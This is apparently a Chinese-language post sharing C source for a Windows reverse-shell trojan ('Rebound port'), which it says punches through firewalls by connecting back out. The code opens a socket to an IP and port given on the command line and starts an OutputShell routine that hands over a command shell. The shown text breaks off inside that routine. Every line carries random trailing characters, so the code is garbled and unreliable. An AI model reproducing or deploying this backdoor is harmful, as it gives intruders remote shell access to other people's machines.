这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 'cT R<LVo
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Rebound port in Windows NT &jf :7y
By wind,2006/7 ~k4S~!(U0
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#include SV}I+O_w
#include W :jC2,s!m
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#pragma comment(lib,"wsock32.lib") Y+syc dq
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void OutputShell(); F%t`dz!L
SOCKET sClient; r+;op_
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; kl_JJX6jPP
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void main(int argc,char **argv) R-"A*/A 2
{ j}'spKxu
WSADATA stWsaData; 5EIh5Y EU>
int nRet; <MI>>$seiJ
SOCKADDR_IN stSaiClient,stSaiServer; \L(~50{(
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if(argc != 3) 4WZ:zr N
{ 1pVagLlb:7
printf("Useage:\n\rRebound DestIP DestPort\n"); KZ
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return; Uoh!1_oV
} xf?*fm?m
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WSAStartup(MAKEWORD(2,2),&stWsaData); )VID
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I8)x0)Lx
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stSaiClient.sin_family = AF_INET; NSUw7hnWvz
stSaiClient.sin_port = htons(0); k/?5Fs!#
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =U!M,zw4
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6SIk?]u
{ { ,qm=Xjq
printf("Bind Socket Failed!\n"); |vw0:\/H
return; Dx/BxqG6}_
} D|@*HX@_Xp
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stSaiServer.sin_family = AF_INET; Jc"xH~,
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 61HU_!A8S
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); iF?4G^
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) h.E8G^}@
{ ;z/Z(7<;;
printf("Connect Error!"); ;tP-#Xf
return; $+!/=8R)
} )" q$g&
OutputShell(); B>WAlmPA
} j{U?kW{o
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void OutputShell() V)72]p
{ j
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char szBuff[1024]; Q\z6/1:9Z
SECURITY_ATTRIBUTES stSecurityAttributes; Jw)Uk<